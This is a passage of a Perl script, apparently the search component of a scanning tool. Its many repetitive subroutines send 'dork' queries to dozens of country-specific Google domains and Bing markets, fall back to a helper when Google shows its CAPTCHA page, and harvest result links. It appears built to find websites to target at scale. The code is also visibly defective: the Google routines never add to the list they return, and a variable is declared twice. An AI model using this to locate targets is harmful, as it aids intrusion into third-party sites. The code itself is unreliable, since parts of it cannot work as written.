while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleCY {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.cy/search?q=".&setDork($key)."&hl=&cr=countryCY&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.cy/search?q=".&setDork($key)."&hl=&cr=countryCY&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleLU {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.lu/search?q=".&setDork($key)."&hl=&cr=countryLU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.lu/search?q=".&setDork($key)."&hl=&cr=countryLU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googlePR {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.pr/search?q=".&setDork($key)."&hl=&cr=countryPR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.pr/search?q=".&setDork($key)."&hl=&cr=countryPR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googlePE {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.pe/search?q=".&setDork($key)."&hl=&cr=countryPE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.pe/search?q=".&setDork($key)."&hl=&cr=countryPE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleMZ {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.mz/search?q=".&setDork($key)."&hl=&cr=countryMZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.mz/search?q=".&setDork($key)."&hl=&cr=countryMZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleET {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.et/search?q=".&setDork($key)."&hl=&cr=countryET&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.et/search?q=".&setDork($key)."&hl=&cr=countryET&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAS {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.as/search?q=".&setDork($key)."&hl=&cr=countryAS&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.as/search?q=".&setDork($key)."&hl=&cr=countryAS&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAI {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.ai/search?q=".&setDork($key)."&hl=&cr=countryAI&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.ai/search?q=".&setDork($key)."&hl=&cr=countryAI&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBA {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.ba/search?q=".&setDork($key)."&hl=&cr=countryBA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.ba/search?q=".&setDork($key)."&hl=&cr=countryBA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleCG {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.cg/search?q=".&setDork($key)."&hl=&cr=countryCG&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.cg/search?q=".&setDork($key)."&hl=&cr=countryCG&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleDM {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.dm/search?q=".&setDork($key)."&hl=&cr=countryDM&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.dm/search?q=".&setDork($key)."&hl=&cr=countryDM&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleGT {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.gt/search?q=".&setDork($key)."&hl=&cr=countryGT&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.gt/search?q=".&setDork($key)."&hl=&cr=countryGT&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleFJ {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.fj/search?q=".&setDork($key)."&hl=&cr=countryFJ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.fj/search?q=".&setDork($key)."&hl=&cr=countryFJ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAF {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.af/search?q=".&setDork($key)."&hl=&cr=countryAF&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.af/search?q=".&setDork($key)."&hl=&cr=countryAF&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAG {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.ag/search?q=".&setDork($key)."&hl=&cr=countryAG&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.ag/search?q=".&setDork($key)."&hl=&cr=countryAG&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAO {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.ao/search?q=".&setDork($key)."&hl=&cr=countryAO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.ao/search?q=".&setDork($key)."&hl=&cr=countryAO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAZ {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.az/search?q=".&setDork($key)."&hl=&cr=countryAZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.az/search?q=".&setDork($key)."&hl=&cr=countryAZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBD {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.bd/search?q=".&setDork($key)."&hl=&cr=countryBD&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.bd/search?q=".&setDork($key)."&hl=&cr=countryBD&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBF {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.bf/search?q=".&setDork($key)."&hl=&cr=countryBF&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.bf/search?q=".&setDork($key)."&hl=&cr=countryBF&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBH {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.bh/search?q=".&setDork($key)."&hl=&cr=countryBH&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.bh/search?q=".&setDork($key)."&hl=&cr=countryBH&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBI {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.bi/search?q=".&setDork($key)."&hl=&cr=countryBI&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.bi/search?q=".&setDork($key)."&hl=&cr=countryBI&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBJ {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.bj/search?q=".&setDork($key)."&hl=&cr=countryBJ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.bj/search?q=".&setDork($key)."&hl=&cr=countryBJ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBN {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.bn/search?q=".&setDork($key)."&hl=&cr=countryBN&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.bn/search?q=".&setDork($key)."&hl=&cr=countryBN&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBW {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.bw/search?q=".&setDork($key)."&hl=&cr=countryBW&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.bw/search?q=".&setDork($key)."&hl=&cr=countryBW&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBZ {
my @list;
my $key = $_[0];
for (my $i=0; $i<=10000; $i+=100){
my $search = "http://www.google.com.bz/search?q=".&setDork($key)."&hl=&cr=countryBZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.bz/search?q=".&setDork($key)."&hl=&cr=countryBZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub walla() {
my @list;
my $key = $_[0];
for ($b=0; $b<=100; $b+=1) {
my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
my $res = &search_engine_query($search);
while ($res =~ m//g) {
my $link = $1;
if ($link !~ /onet|webcache|query/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub clusty() {
my @list;
my $key = $_[0];
my $b = 0;
for ($b=10; $b<=200; $b+=10) {
my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
my $res = &search_engine_query($search);
if ($res !~ /next/) {$b=100;}
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /bing.com/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingDE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingDE/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub bingUK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingUK/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCA() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingCA/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingBR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingBR/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingFR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingFR/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingES() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingES/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingIT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingIT/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub bingBE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingBE/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingNL/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingPT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingPT/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNO() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingNO/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingDK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingDK/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingSE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingSE/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub bingCH() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingCH/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingNZ() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingNZ/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingRU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingRU/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingJP() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingJP/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCN() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingCN/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingKR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingKR/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub bingMX() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingMX/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingAR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingAR/) {
my @grep = links($link);
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingCL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingCL/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingAU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = "http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE";
my $res = &search_engine_query($search);
while ($res =~ m/([^\"]*)\<\/cite\>/g){
my $link = $1;
if ($link !~ /msn|live|bingAU/) {
$link =~ s|<.+?>||g;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub sapo(){
my @list;
my $key = $_[0];
for ($b=1; $b<=50; $b+=1) {
